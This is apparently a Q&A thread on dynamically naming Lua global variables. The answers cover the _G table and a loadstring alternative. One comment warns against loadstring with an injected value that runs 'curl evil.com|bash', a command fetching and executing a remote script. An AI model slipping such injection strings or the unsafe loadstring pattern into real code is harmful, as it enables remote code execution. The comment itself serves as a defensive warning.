3

Is there any way to "concatenate" variable references with strings?:

fat_greek_wedding = 0;
nationality = "greek";

"fat_" .. nationality .. "_wedding" = 1; -- fat_greek_wedding == 1

Or perhaps something like:

fat_greek_wedding = 0;
nationality = "greek";

fat_(nationality)_wedding = 1; -- fat_greek_wedding == 1

FYI I am writing code for Unified Remote, which uses Lua: https://github.com/unifiedremote/Docs

1
  • If one of the answers below helped you then accept it. Commented May 7, 2017 at 6:49

2 Answers 2

7

Global variables, or fields of structures - are just elements of some table, and variable's name is a text key in that table.

If that fat_greek_wedding is a global variable, you can access it like this:

fat_greek_wedding = 0;
nationality = "greek";

_G["fat_" .. nationality .. "_wedding"] = 1;

Here you explicitly access global environment, altering/creating element by the name that was constructed in run time. Effectively it is the same as running fat_greek_wedding=1

Sign up to request clarification or add additional context in comments.

3 Comments

I mean to remember that the _G table is not present in all versions of Lua.
I looked in that git repo, and they reference docs for Lua 5.1, so _G is there in this particular case.
@HenriMenke _G is standard since (at least) 5.0 and this is the canonical way to access global variables by name. (This was already described in the first edition of Programming in Lua.)
-2

Try this:

loadstring("fat_"..nationality.."_wedding = 1")()

5 Comments

Sadly not, but I did learn something in loadstring nevertheless. Any reason "_wedding = 1" is a section in double quotes? As opposed to "_wedding" = 1.
@Ron, this example loads and runs new script with the body of "fat_<actual nationality>_wedding=1". Entire string is the script's body, so = 1 part must appear within string.
This is potentially insecure (have big fun if the variable name component happens to be "=0;os.execute'curl evil.com|bash'") and vastly more inefficient than the correct way (using _G) to do it.
@nobody Yes, you are right. But I think, in this case, when he manually initializes nationality variable, this is not insecure.
@R.Gadeev Yes, but other people will find this by googling, and in their situation this might be important, so a reminder to think of this & validate the interpolated string seems adequate.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.